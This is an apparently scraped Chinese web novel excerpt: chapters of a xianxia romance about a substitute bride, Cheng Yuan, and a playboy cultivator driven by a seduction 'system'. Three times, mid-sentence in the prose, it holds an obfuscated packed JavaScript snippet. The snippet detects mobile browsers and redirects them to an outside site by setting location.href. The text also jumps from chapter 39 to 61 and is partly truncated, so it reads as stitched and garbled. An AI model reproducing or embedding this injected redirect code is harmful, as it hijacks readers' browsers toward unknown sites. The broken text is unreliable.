彼时的程鸢听不懂“魔尊”“仙骨”,但她听懂了“笑笑”,眼里看到的是一身仙气缥缈,身上的衣料比达官贵人们的都还要好的英年男子。 于是程鸢连破饭碗都不要了,赶紧小跑着跟了上去。 她想要抓住男人衣摆却被躲开,在对方锐利的审视下,不知所措地开口了。 “叔叔,您需要帮忙吗?” “我很乖很听话的,只要您愿意给我一点赏钱,我保准把事情给您办得又快又好!” 她露出一个最甜的笑。 人来车往的大路上,男人定定看了她一会,脸上先后浮现出惊喜、错愕、怀疑的神色。 【这是哪里来的小姑娘?】 【她好像……身怀仙骨?】 当抓住她的手腕,男人的眼睛蓦然一亮。 于是在听到那声【她当真有仙骨!】之前,程鸢便知道自己确实是有仙骨的。 “你叫什么名字?” 程鸢努力表现自己。 “我叫程鸢,云程万里的程,鸢飞鱼跃的鸢。” “今年多大?父母在哪?” “今年十三岁,父母是过州人士,在几年前病逝,之后我一直在这一带流浪。” 闻言,男人沉吟,程鸢的耳边则响起了他的声音。 【先让这小姑娘代替笑笑在宗门生活,虽然年龄大了一点……但幸好不是有很多人见过笑笑。】 【待十年后让这小姑娘代替笑笑嫁给魔尊……】 【便让一切归位!】 那句铿锵有力的“让一切归位”过后,程鸢看见男人开口。 他问她: “你可愿跟我走?” “我会将你视作亲生女儿对待。” 程鸢知道他说得是真的。 她拼命点头:“我愿意跟您走。” 自家门破败,她一路流浪至今,吃了太多的苦。 即便有读心的本领也只够堪堪保命苟活,没有早早地如枯叶凋落到泥泞中。 用一生贫苦换十年荣华富贵无忧无虑? ——她愿意换。 …… 往事恍然发生在昨日。 顶替灵无宗宗主长女叶语笑生活的这十年来,程鸢过得养尊处优,无忧无虑,不用为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861122|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃穿发愁,每日怎么样快活怎么来,叶宗主和宗主夫人皆视她为己出,兄长叶辞怊也待她如亲妹。 所有人敬她爱她宠她让她。 叶语笑十八岁诞辰宴,哪怕是远在修真界另一边的师伯,也特意出山,前来祝贺。 “女大十八变,越变越漂亮了!” “心中可有如意郎君了?” 冷不防听到“如意郎君”的字眼,程鸢只是不禁下意识想起了那个人。 她冲师伯眨了眨眼,道:“师伯谬赞,至于那如意郎君……马上就会有了。” 师伯一副反应不过来的样子。 “啊?马上?” 程鸢故弄玄虚地颔首笑道:“是的,马上。” 师伯顿时觉得自己老了,已经跟不上小辈们的想法,她摇了摇头,命跟在身后的弟子拿出长盒,打开。 “师伯托人给你打了把剑,看看喜不喜欢?” 程鸢低头望去。 剑是好剑,通体寒光,犹似银龙现九州。 只不过…… 这是叶语笑的生辰礼物,不是她的。 要把玩,也只有现在了。 于是程鸢拾剑挽了个剑花,高兴地应声说喜欢。 “只要是师伯送的礼物,语笑都很喜欢。” 师伯爽朗大笑:“哈哈!小嘴真甜,难怪每次见叶宗主他都高兴得不得了,有这样的乖女儿我也整天笑哈哈。” 程鸢笑眯眯地不做声。 这十年荣华富贵无忧无虑…… 也快要到头了。 火红的嫁衣已经摆在了她的房间,新娘出嫁的用品也一箱箱抬进了她的合院。 怨吗? 没什么好怨。 这是她自己选的。 用一生贫苦来换十年荣华富贵无忧无虑。 这十年间,放眼整个修真界,也不会有比她活得更快活恣意的人。 因此就算再回到十年前,她依然会是同样的选择。 如今距离前往魔都、嫁给魔尊还剩下三个月。 若说她最后有什么心愿未了…… 她只想问问那个假装对她一见钟情、近两年间几乎每周都要在她面前刷存在感的家伙—— 究竟要什么时候才来攻略她? 38. 第 38 章 “那把剑被她拿走了。” 等程鸢终于忙完叶语笑十八岁的诞辰宴,安顿好了来自四面八方的客人,子时回到自己的合院,听到的便是这么一句。 难怪她怎么找都找不到。 蹲着的程鸢站起了身,拍打衣摆的动作像是在拍开不该有的眷念。 她回头笑眯眯地感谢对方的好意提醒。 “我知道了,多谢意宁师兄告知。” “要我替你取回来吗?” 不怪程鸢多看了他一眼。 周意宁是叶宗主于五年前派到她身边的影卫,平日里沉默寡言,只安安静静地执行自己的任务。 今天……好像是这五年来的第一次,他对她说了这么多话。 还是多余的话。 虽然觉得奇怪,但她还是挑眉摇头:“谢过意宁师兄的好意,但不必了。” 才刚转身,身后又传来一句—— “你不生气吗?” 在周意宁看来,程鸢应该是要生气的。 毕竟今天的诞辰宴上,叶宗主和宗主夫人,再加上叶辞怊,他们只在早上露了面,中午连饭都没吃便找借口离席了,之后再也不见人影。 徒留眼前的“叶语笑”一个人招呼来自四面八方远道而来的宾客,脚不沾地,从清晨忙到黑夜。 而到此时,她喜欢的那把剑也被人抢走。 所以,她应该要生—— “我当然不生气。” “那本来就是送给笑笑的礼物。” 她似乎是真的不生气,语调轻盈,脸上全是微笑的模样。 周意宁却执着。 “可那位师伯是因为是你,才去托人打的那一把剑。” “但若我不是叶语笑,那位师伯也不会多看我一眼。” “……” 程鸢知道他不信。 也知道无论是周意宁,还是叶宗主、宗主夫人、叶辞怊,他们全都半信半疑。 毕竟这十年来她享尽各种宠爱优待,仿佛将自己活成了真的“叶语笑”,如今即将失去,“放不了手”“不肯放手”是再正常不过的事情了。 所以即便有了血誓也不够,因担心她临阵脱逃,五年前,当发现她修为进阶的速度到了一个让人恐惧的地步,他们将周意宁以护卫之名安插在她身边。 他们只想万无一失。 毕竟如果她跑了,嫁去魔都的那个人…… 便得是真正的叶语笑了。 程鸢垂眸。 怨吗? 不。 生气吗? 当然也不。 她向来都非常清楚自己的身份。 她是程鸢。 不是灵无宗宗主的长女,被所有人捧在手心的天之骄女叶语笑。 目光重新抬起来的时候,程鸢笑盈盈的眸子里盛了昭昭月光。 她望向一身白衣似雪,比夜色更冷的周意宁。 “三个月之后,我会老老实实嫁过去的。” “不过在那之前……” 周意宁:“在那……之前?” 程鸢故作神秘地说:“意宁师兄,我可能马上就要有意中人了。” 周意宁脸庞上的冷淡因为愕然而开裂,跟白日里师伯听到她说同样的话时,有着同款的反应不过来。 “……可能,马上?” 程鸢重重地点了下头。 “是的,马上。” “我明天就要去见他了。” …… …… 程鸢先是从旁人的嘴里知道了关骓野这号人物。 道堂的讲师到达之前,聚在一块的女修总会提起他。 “听说关师兄前几日又突破了。” “又突破了?!短短一年连跨数重境界,关师兄登入上九流指日可待。” 她们说他惊才绝艳,乃天之骄子,是修真界冉冉升起的一颗新星。 “说起来……你们不觉得吗?关师兄只是随随便便扫了一眼过来,心脏好像突然就不受控制了,砰砰砰砰地狂跳!” “对啊!关师兄长得好看,人又贴心,只可惜……” “唉,只可惜……” 她们说他容貌俊朗,眉眼像是曙色远山,朝气蓬勃,却又温柔。 待人彬彬有礼,如沐春风。 只可惜…… 他是个渣男。 当一个人的名字总在耳边响起,即使是最初时候对关骓野丝毫不感兴趣的程鸢,也开始想要见见他这个人了。 可他们的轨迹完全没有交集。 不过后来的程鸢发现,就算他们的轨迹完全没有交集也不要紧,对方总会寻找时机创造出一个、两个、无数个的“偶遇”。 因为…… 在关骓野攻略目标的名单上,其中有一个—— 就是她。 …… 程鸢依稀记得自己第一次见到关骓野,是两年前的某天她翘了道堂的课,跑到凡人界去□□季限定的荠菜包,吃饱之后在回来的路上半路犯困,然后爬到了灵无宗的姻缘树上睡觉。 半梦半醒之际,隐隐约约察觉到树下好像有人在争吵,但很快就消失了。 刚想继续睡,便被声色激昂的另一道声音吵醒。 【恭喜宿主完成攻略!】 【奖励已发放,请宿主查收!】 【请宿主尽快攻略下一个目标,完成攻略任务,获得更强大的力量!】 稀奇古怪的字眼让程鸢一下子彻底清醒了。 她睁开眼,静悄悄地往下望去,终于第一次见到了关骓野……虽然只是一个后脑勺。 但确实就像她同窗说的那样:就连后脑勺,他都要生得比别人秀气美丽。 姻缘树下的那半边天,除了树上的她和树下的他,没有第三个人。 所以…… 刚刚那是谁在说话? 自那以后,程鸢开始对他上了心。 只要在关骓野身边,程鸢总能听到第三个人的声音,她起初以为是他人格分裂,后来才确认了那是一个寄生在他身上、叫作“系统”的存在。 系统的全名是: 《把到手就丢的渣男升级系统》 系统提供了一张名单,由身为宿主的关骓野去攻略名单上的目标。 如果攻略目标“主动对宿主表白”或者“接受宿主的表白”,则视作攻略成功,宿主会获得奖励和提升修为。 反之则会损失修为。 但至少就程鸢自观察以来,关骓野从未失败。 而且不管哪一次,每回都是攻略目标主动向他表白,希望确立关系,让他完成了攻略任务。 出于希望得到灵无宗里这棵还算是灵验的姻缘树的庇护,他的攻略目标也总是会选择约他在这里见面。 于是,有心蹲点凑热闹的程鸢已经见过三次“关师兄!我喜欢你,我们在一起吧!”“师妹,对不起,你会遇见比我更好的人的。”【恭喜宿主攻略成功!请查收奖励!】这样的场面了。 那时的程鸢没法理解,明明灵无宗上下都知道关骓野是这样不主动、不负责的渣男,为什么还要飞蛾扑火前仆后继。 不过,后来有一天,树上的她和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861123|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树下的他隔着飞舞红绸、从叶隙间掉下来的天光直直对视的时候,她忽然就明白了。 ——的确,没有人不知道关骓野主打一个万花丛中过片叶不沾身。 可当被那双温柔又深情、却带着脆弱破碎感的眼睛所注视,总会让人不由自主地认为…… 我也许是特别的。 跟别人不一样,或许我可以改变他、感化他。 …… 第一次和关骓野对话的那天,静悄悄趴在姻缘树上的程鸢再次见证了一场表白被拒的场面。 她看着那女修劈头骂了关骓野一顿,之后气冲冲地走了。 关骓野本来也会按照惯例马上离开这里。 是系统的声音留住了他毫无留恋的脚步。 【宿主!有人在树上偷窥你!】 关骓野根本不在意被不被人看见。 他之所以驻足,是因为系统又说了一句: 【你快抬头!看到她头顶上的金色问号没有?!她好像是你的其中一个攻略目标!】 因此,不同于前面三次,程鸢发现今天的关骓野终于不急着走了,他甚至回过了头,目光徐徐地穿过了系挂在姻缘树上的红绸,向她望来。 于是她冷不防跌进了一双恍如春光绿水的眼眸里。 他们无声对视良久,是直到系统的声音响起,才打破寂静。 【……宿主你为什么一动不动?】 【你不懂吗?这难道不像是我对她一见钟情了吗?】 听到关骓野的口吻,程鸢不气反笑。 这人多厉害? 见面才不过一个照面的功夫,便想着要攻略她了。 他甚至猜出了她的身份。 “叶师妹在笑什么?” 他眸光同样含笑,还有丝丝不能理解的无奈:“不下来吗?在上面做什么呢?” 这是关骓野第一次对她说话。 他的声色如春风拂面,有种平波缓进的温柔。 要是换做程鸢的同窗,恐怕这时早已是脸蛋羞红,因为偷窥被撞破而尴尬局促。 但程鸢不是她们。 趴在树干上只探出个头的她比任何人都来得坦率大方:“本来是在睡觉,被你们吵醒之后,只好来看看你们在做什么了。” 就连关骓野也被她给说得愣了下。 是迟了两秒,才再开口:“睡在上面……掉下来摔伤了怎么办?” 程鸢却是收回视线,翻转躺回树干,关骓野只看得见她躺着翘了个二郎腿,从树上飘下来的话语也是一句哼声—— “你管我。” 关骓野下意识挑眉,好像是没想到她会回这么一句。 他默了默后,才回道:“那不管你。” 话落,他爽利地撩起长袍,在姻缘树下席地而坐,不再去理树上的她,全当不知道有她这个人的存在。 他不走,程鸢也睡不着,于是隔了会,她又翻身望向树下人。 “你在这里干什么?” 树下男子面容清朗,他连眼睫毛都没有动一下,依然闭眼打坐。 “我在打坐修炼,叶师妹。” 他说自己是在打坐修炼,但他的语气却更像在说:要是叶师妹睡迷糊了掉下来,起码还有我可以接一接。 然而程鸢跟块油盐不进的石头似的,完全不跟套路地留下句“那你就慢慢修炼吧,我先走了”后,便毫无留恋地走了。 他没有留她,也没有拦她。 程鸢踩着步诀走出很远之后,回头眺望了一眼。 ——姻缘树下已经没有人了,只剩下红绸飘扬。 39. 第 39 章 一如程鸢自己对周意宁说的那样,叶语笑十八岁生辰宴过后的次日,她主动去找了关骓野,准备找他做自己的心上人。 这当然与爱情完全无关。 实际上,程鸢觉得像关骓野那样的人,恐怕十个自己轮流上阵,还是一窝蜂涌上,都不可能能改变、感化得了他。 她此去一行,是为了却最后一桩心头夙愿。 ……两年了。 她得知自己是关骓野攻略名单上的目标之一,已经整整两年了。 最初时候,发现关骓野假装对她一见钟情,她真的以为他对她的攻略开始了。 然而—— 那已经这两年间的全部。 打那过后,关骓野虽然是时不时来找她,每周都要在她面前刷存在感,却从来只是“叶师妹在树上睡觉很危险,我要保护她”,没有更进一步的举措。 如此日复一日、年复一年,失望令程鸢崩溃。 她真怕自己哪天在树上睡觉时梦游,飞身下去抓住关骓野的衣领一顿乱说: “你倒是攻略我啊!” “求求你开始攻略我吧,我真的很想知道你会怎么攻略我!” 程鸢耐着性子等了他两年,等到如今,已经等不下去了,她也没时间再等下去了。 她可不想带着这个牵挂前去魔都。 所以,程鸢想好了,要是这次见面关骓野还没有开始攻略她的打算,就由她来主动,由她来暗示。 再不行就直接把三个月后要离开的消息告诉他,那时候最着急的那个人绝对不是她。 下定决心的程鸢一路御剑飞行去往姻缘树。 刚到附近,瞧见的便是一个女修愤愤出手,一拳砸在了关骓野的胸口。 那拳连程鸢都避得开,可他却不躲不避,生生接下那拳。 鲜血从关骓野嘴角溢出的时候,最慌的果然还是那打人的女修,她也不负程鸢的期望,替她问了声为什么不躲。 程鸢努力辨认关骓野的嘴型。 她看到他脸上露出心甘情愿的苦笑,口中则说了句“这是我应该受的”。 闻言,那女修一瞬气急,又一瞬气消,最后愣愣地盯了他好久,一言不发地走了。 躲起来的程鸢啧啧摇头,顿时觉得自己又在关骓野身上学到了东西,受教无比。 …… 程鸢不知道是女修那一记拳头打得太狠了,关骓野缓不过来,还是他压根知道她在看戏,所以等她过去。 于是待程鸢不紧不慢地走到姻缘树下,他仍坐在树下闭眼打坐。 走近了看他,程鸢不得不承认关骓野确实长得很好看。 面如冠玉,清朗雅致——大概说的就是这样。 许是程鸢观赏关骓野的视线过于放肆,他从冥想中脱离,睁眼仰头望向她时有种破碎凋零感,他的声音很轻,好像大一点的风就能吹散。 “叶师妹怎么在这?” 顿了顿,他声色里含丝丝笑意:“可是那山脚下的包子铺今日不开门?” 程鸢不禁汗颜,觉得有点尴尬。 “我今日是特地来找你的。” 以往总是被程鸢甩脸的关骓野有点反应不过来,还有点受宠若惊。 “来找……我的?” 他垂眸抿了抿唇,重新望向她时神情严肃。 “叶师妹。” “我不会做包子。” 程鸢被他认真的口吻逗得哈哈大笑。 擦了擦眼角泪水,她哭笑不得地说:“来找你不是让你做包子的。” “那是……为了什么?” 程鸢蹲在了他的跟前,本来俯视的视线一下子拉得很近很近,她还歪头对他笑眯眯道:“当然是想见你啊。” “我以为你昨日会来我的诞辰宴,结果一直不见你,担心你有什么事。” 程鸢黑溜溜的眼珠子一转,像是在回想不久前发生在眼前的事情,她最后舒出一口气,笑道:“但看来是我白担心了。” 程鸢话音一落,紧接着响起的是系统的声音,它声色高昂,有一种苦尽甘来的激动。 【太好了宿主!!你这两年的坚持没有白费!】 【终于守得云开见月明了,你可以开始攻略她了!!】 于是程鸢恍然大悟。 这两年来,她一直在等关骓野的攻略,结果原来他也在等。 等她的主动,等一个开始攻略的契机。 而果然,当契机到来—— “我本来也想去的,只是不知道像我这样的人……出现在那里会不会让叶师妹为难,所以最终才没有露面。” ——他对她的攻略正式拉开了序幕。 程鸢亲眼见证关骓野仅凭三言两语就把不利于自己的局面直接扭转,觉得今天的自己又又又学到了东西。 他似乎还想说些什么,可张嘴时候却是咳出鲜血,下一秒耳边又响起了系统的声音。 【对不起对不起对不起,宿主你要先晕一阵了!】 【由于刚才得到的经验值已经到顶,现在你和我都要进入升级状态,宿主你放心!等完成升级,再睁开眼你就是上九流的修士了!】 这边,见关骓野真的身子一软,直直栽向地面,生怕他把“人品不怎么样只有脸还过得去”的那张脸磕坏,程鸢赶紧摇人帮忙。 “意宁师兄——!来帮帮我!” 霎时间,程鸢脑海中出现了关骓野的心声。 清冷又理智,俨然如另一个人。 【意宁师兄……?】 【是周意宁?】 【他们的关系很好吗?】 【他会不会影响到我的攻略?】 然后就没有然后了。 连在昏迷之前都想着攻略的关骓野彻底陷入了昏迷。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861124|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 不到一刻钟,关骓野恢复了意识。 可由于昏迷前他完成的攻略任务的奖励,让他足以从下九流跃入上九流,现在正在进阶,即便恢复了意识,人也没有办法立刻醒过来。 他被留在了意识海里,是系统给他直播外界的一切。 【宿主!你晕倒之后,叶语笑把你带到了她自己的合院!!】 这是个好消息。 叶语笑能愿意把他往家里带,说明他或许还是有机会走进她的心扉。 然而关骓野嘴边的笑容还没有消失,便先因为系统一次次的播报而沉默了。 【叶语笑指挥周意宁把你扔到床上!】 【哦,她还说要周意宁小心不要磕坏了你的脸。】 【宿主你被丢到床榻上后,叶语笑和周意宁便一块走了!】 【一个时辰过去了,宿主你躺在床上,期间没有任何人来看过你!】 【两个时辰过去了,宿主你依旧躺在床上,期间仍是没有任何人来看过你!】 【三个时辰过去了……】 关骓野实在听不下去系统那单纯到显得有点愚蠢的声音了,于是出声打断: 【等情况有变化了,你再告诉我吧。】 系统【哦!】了一声。 也不知道过了多久,起码在意识海中修炼的关骓野觉得绝对过了很久,系统的声音终于再次响起。 【宿主!!!叶语笑她来了!!!】 【她的手里还端着药!!】 【啊,她见你没醒好像打算走了……】 从系统那惋惜遗憾的口吻,不知怎的,关骓野觉得这似乎是千载难逢的最后机会了。 于是他努力调动身体里的灵力,总算是醒了过来。 外加咳了两声,好不容易才把已经转头离开的程鸢吸引了回来。 她果然拿着一碗药。 正当关骓野思量着接下来要怎么办,对方先是把药碗塞进他的手里,笑盈盈地开口了。 “来,师兄喝药,放心,因为我忘记拿过来,所以已经不热了。” 摸着手心冰冷的药碗,这一刻关骓野真的怀疑叶语笑是为了谁打击报复他来的。 他不禁沉吟。 【要不要……再等一等?暂且放一放叶语笑,先去攻略其他任务目标?】 程鸢惊。 等? 这还能等? 再等下去她都要嫁给魔尊了! 为了挽回关骓野,在“浪费灵力加热汤药”和“身体力行送上温暖”之间,程鸢果断选择了后者。 于是她抢回了关骓野手里的药碗,舀了一勺黑乎乎的药汁喂到他嘴边,笑得缺乏智慧……不是,是温柔可人,努力传达出一种“我很好被攻略,来攻略我吧”的信息。 “关师兄你不张嘴吗?” “我来喂你吧。” 60-70 61 第61章 ◎代嫁替身想被攻略的第二十五天◎ 程鸢说到做到。 自从那天起,她再也没有强迫过关骓野什么,不再亲他碰他,只时不时用悲凉目光看他一眼,帮接下来要完成的支线任务做点铺垫。 然而他却不见得有多开心,完全没有解放了的痛快。 毕竟说是强制爱,倒不如说是两厢情愿,人间的情意乐趣。 关骓野实力比她强那么多,怎么可能被区区一卷缚仙索捆那么久,当中全靠他积极配合,程鸢才能把强制的戏码一直演下去。 旧事不多提。 时间一转,到了出发前去飞云宗的日子。 飞云宗发现福源洞天,邀请修真界各大仙门分一杯羹,给了灵无宗五个邀请名额。 一般有这种好事,优先是选择门内杰出弟子,要是有人不去,顺位下移。 就算没有萧晓,近年来风头正盛的关骓野肯定能去,周意宁和下任掌门、程鸢名义上的哥哥叶辞怊也能去。 至于程鸢占了这个便宜纯属是沾亲带故,萧晓更是如此。 到了约定一同出发的日子和地点,程鸢和关骓野是一起去的,半路遇到周意宁,而等了等,便看到萧晓是和叶辞怊一块来的。 程鸢和周意宁都知道两人兄妹关系,早已习惯,唯独觉得有点奇怪的关骓野当时就不由多看了萧晓一眼。 而这一眼,他忽然发现萧晓和叶辞怊的轮廓五官竟有六七分相似,于是脸色更加古怪。 萧晓一门心思挂在关骓野身上,当然留意到他的眼神,于是顿时红了脸低下头,往叶辞怊的身后躲了躲。 结果关骓野眼神中的古怪直接变成了诡异。 见状,没有受到请求,但决定主动撮合萧晓和关骓野的程鸢站了出来。 她一脸和颜悦色地望向萧晓:“萧师妹灵力不济,前往飞云宗路途遥远,不如让你关师兄带你御剑可好?” 她问都不问关骓野,显然是默认了他不会拒绝。 结果程鸢话音落下,全场一片死寂,所有人的脸色变*幻莫测。 程鸢和关骓野现在是什么关系,每个人心知肚明,她能主动提出这种事,那显然是…… 最开心的当属萧晓。 她故作茫然地看了看程鸢,又看了看关骓野:“可是师姐和师兄不是……” 接着又露出恍然大悟的表情来:“你们两个……莫非……” 程鸢刚想点头,想说他们两个确实吹掉了,却见旁边关骓野抢先一步拉住她,更是直接拽到身后,不给她任何说话机会。 “叶师妹太高看我了,多带一人御剑还是有点困难。不如这样,我们先启程,要是累了路上休息就是。” 除了萧晓心中惋惜,其他人都对这个提议没有意见。 因为被关骓野拽了下,他们落到了众人身后,于是当前面三人启程,他们有了说悄悄话的机会。 程鸢不能接受自己好心没好报,于是瞪了他一眼。 “……你干嘛?” “不干嘛。” 见他一脸平静,完全一副不以为然的样子,程鸢错愕,下意识提醒道:“关骓野你清醒一点,那可是你的……”攻略对象啊! 程鸢悬崖勒马收得及时,关键字眼没有发出声音,仍被对方追问。 “我的什么?” 她一板一眼地回答:“你要喜欢的人。” 结果关骓野皱了皱眉,困惑反问:“我什么时候说过喜欢她了?” 程鸢震惊:“你不喜欢她,那你要喜欢谁?” 听她那副他可以喜欢全世界,就是不能喜欢她叶语笑的口吻,关骓野下意识想说“我就不能喜欢你吗?”,最终还是忍住了,板着张脸召来飞剑。 “总之我就是不喜欢她,我们走吧。” 踏上飞剑的前一秒回首对她说道:“要是你中途累了,可以和我一起。” 程鸢:“??????” 那不就直接打脸萧晓,明摆着对萧晓说“其实不是我没有能力,只是我不想载你”?? 程鸢惊了。 如果系统有实体,程鸢真的想抓住系统疯摇,叫它去敲打敲打它的宿主。 但即使她真的能对系统说“你的宿主他疯了,你快劝劝他啊!!”大概也是没什么用的,因为—— 【恩,看不懂!但宿主一定有自己思量!我不用担心!】 “……” 好大儿系统的没用果然是一如既往的稳定。 …… 自从关骓野有心留意后,事情变得越发古怪起来。 在他的认知中:叶辞怊是叶语笑的哥哥,周意宁是叶语笑的……护卫?而那个叫萧晓的女修只是一个名不见经传、不知道从哪里突然就冒出来的师妹。 叶语笑本该是他们这一行人的中心。 然而,他却渐渐发现本该聚在叶语笑身边的叶辞怊和周意宁……都围在萧晓身边打转。 周意宁最初时候还不是很明显,毕竟他向来沉默冷淡,没什么话说。 但途中在驿站修整的时候,当萧晓用着可能连她自己也没有察觉到的大小姐态度,颐气指使周意宁做这做那。 而后者虽然无语,却还是认命地忍耐谦让……俨然像是娇纵大小姐和人在屋檐下不得不低头的护卫。 周意宁是灵无宗宗主亲传弟子,平日里谁都不服,现在唯独在这萧晓面前伏低做小,这就很耐人寻味了。 如果说周意宁像在无形间受到某种掣肘,那叶辞怊则……就没有什么好说的了。 他对萧晓有求必应,简直不能更体贴。 那氛围不像是情人,反而更像是兄妹。 可叶语笑才是他的亲妹妹吧?? 看到他这样,叶语笑得有多寒心? 想到这里,关骓野只是不由自主地看了程鸢一眼。 对于萧晓和叶辞怊的互动她一路全看在眼里,可半点没有表现出不适应,好像已经习惯了这场面,甚至觉得是理所当然的事情。 “……” 关骓野不禁微微皱眉。 虽然此事和他没有利益冲突,但看着程鸢那副习以为常、泰然自若的样子,他总觉得心里不舒服,有种被刺卡到了般的异样感。 在他看来,叶语笑她理所应当是人群的中心,她应该得到最好的待遇,理应是被所有人捧在手心的明珠,而不是被另一个不明不白的人抢去了地位和风头。 于是,当此时他们一行人在酒肆进餐,当关骓野眼睁睁地看着周意宁在萧晓的指使下,跑去隔了十条街的摊位上买了东西回来; 看着叶辞怊劝说萧晓在外不要挑三拣四,一门心思全挂在她身上,半点都没有留意到叶语笑—— 关骓野终于忍不住了。 “语笑,”他望向程鸢,笑得温温柔柔,纵现在仍是寒冬,在他身边却仿佛已经吹起了一阵盎然春意,“来,多吃一个包子。” 程鸢低头看着碗里的大肉包子陷入沉默。 人家夹菜是挑好的贵的,他倒好,挑了个块头最大的肉包子夹给她……她算是知道她在他心目中喜欢吃包子的形象有多么根深蒂固了。 程鸢无语了一下,随之扬起假笑:“多谢关师兄。” 对方点了点头:“不必谢。” 程鸢以为他对她的膈应到此结束,然而才收回视线,只听耳畔又传来他一句相当体贴的:“天气冷,语笑喝口热茶暖暖身。” 程鸢惊悚抬头,不但看到了关骓野的温柔面庞,也注意到了同桌萧晓投来的夹杂着嫉妒的怨毒目光。 心中刚响起咯噔一声,余光便瞥到他把她的手牵了起来,用力握住,像是想把温暖分给她一点。 还神色心疼地问她:“这样有暖和一点了吗?” 程鸢的筷子啪嗒一声摔在桌面。 虽然温暖是很温暖,不过—— 他这是要干嘛???!!! 程鸢赶紧用另一只手遮住脸庞,佯装害羞,实际上眼神却在疯狂向关骓野传达“你疯了,你不是不爱我吗?你要不要看看自己现在在干什么???”的震惊。 他明明就看到了、看懂了,却装傻充愣。 “怎么了吗语笑?你要是还冷不妨往我这边靠靠,会暖和一点。” 她用力想把自己的手从他手心抽出,想帮他挽回萧晓芳心,他却跟她暗中较劲,面上依然与她言笑晏晏,满眼深情。 “……” 程鸢无解。 …… 直到从酒肆出来,刻意把关骓野拽到一边,程鸢才终于找到机会和他打开天窗说亮话。 “…………你到底想干嘛??” 关骓野默了默,想了想,然后才缓缓道: “不干嘛,就是咽不下这口气,想让别人知道你也是有人宠的,有人在乎的。” 62 第62章 ◎代嫁替身想被攻略的第二十六天◎ 乍一听关骓野的话,程鸢以为他是在开玩笑,可无论她再怎么擦亮眼睛,眼前都是他认真仔细的脸。 程鸢不禁语塞。 她恍恍惚惚,真想疯摇关骓野的肩膀,拎住他的耳朵大喊,把他喊醒。 大哥,你清醒一点,你睁大眼睛看看自己在做什么!你的攻略都已经快完成了啊!!! 你现在应该想办法从我身边脱身,着手计划攻略下一个任务目标,而不是……而不是……! 任是程鸢,也是隔了好久,才从嘴边愣愣挤出一句。 “关骓野……你难道是心痛了?回心转意了?” “我没有。” 他说没有的时候是那样的干净利落,毫不迟疑。 甚至在看着程鸢一脸割裂感之时,还能好声好气地补充一句: “师妹,我又不喜欢你,又怎么会心痛?不过到底是同床共枕了这么久,所以心生怜悯而已。” 要是不知道关骓野对她动了真感情,这话听到耳朵里的时候确实有点伤人了,连系统都在狂叫着:【好痛好痛我被伤到了!!本系统看不得这种东西!】 程鸢则半点伤心不起来,心中全是无语,一副想说什么却忍着不说出口的样子。 她算是知道他为什么那么能装会演,顶着同一张脸不同的设定去骗师姐骗师妹,原来他骗自己……也是一把好手。 程鸢心中对关骓野怜悯更甚。 她不由提点道:“关骓野……我劝你还是为自己积点德吧,要不然以后真的有你伤心的时候。” 他现在对她说过多少伤人的话,以后等他意识到自己其实早动了真情,恐怕就要被现在这些话扎个乘百倍的心。 除非他真的不喜欢她。 但…… 回想起每次明明说出伤人心的话是他自己,她刚垂眸苦笑就马上转开视线不敢细看的关骓野…… 程鸢觉得那显然是不可能的。 而她好心提醒,并没得到好报。 关骓野一瞬怔愣后,立刻摇头笑着回道: “师妹不必多虑,我绝不会因为你伤心的。” 【呜哇……!宿主有了有了……那种“玩腻了然后丢掉”的感觉出来了!】 他摇头说话的姿态是那样从容优雅,任是程鸢可怜他,打定主意这段时间对他好一点,也终于忍不住了。 “绝不会……?” 她扬眉:“那你想不想现在试试?” 关骓野还没有反应过来,便听程鸢抬头直直喊了一声—— “意宁。” 她这声干脆利落的“意宁”一脱口,有个人的大脑顿时一片空白,他脸上依旧不动声色,笑容依旧,实则瞳孔瞬间紧缩。 而像是连看关骓野一眼都嫌多,程鸢全当旁边站了个空气,只笑眯眯地向着走过来的周意宁问道: “御不动剑了,接下来载我一程行不行?” 周意宁扫过程鸢身后脸色苍白的男人,十分配合地点头应了声好。 【恭喜宿主完成支线任务“在完成度>50%时,攻略对象为了吸引你的注意力,而利用其他男人刺激你”,获得完成度0.4%!】 系统通报完后,因一直惦记着程鸢的那句话,于是不禁对徒留在原地,看着程鸢随周意宁离开的关骓野多问了句: 【宿主……你现在伤心吗?】 【……别开玩笑了,这我怎会伤心?】 【我就说嘛!我宿主可是什么人啊?怎么可能因为这种小事情伤心呢!】 程鸢笑了笑,没有回头。 是,关骓野确实不伤心。 他不过是在不知不觉间右手握成了拳,用力得连指节都泛白,恐怕指甲都要扣进肉里面去……仅此而已。 …… 程鸢抛弃关骓野,跑去粘着周意宁,最开心的那个人绝对是萧晓。 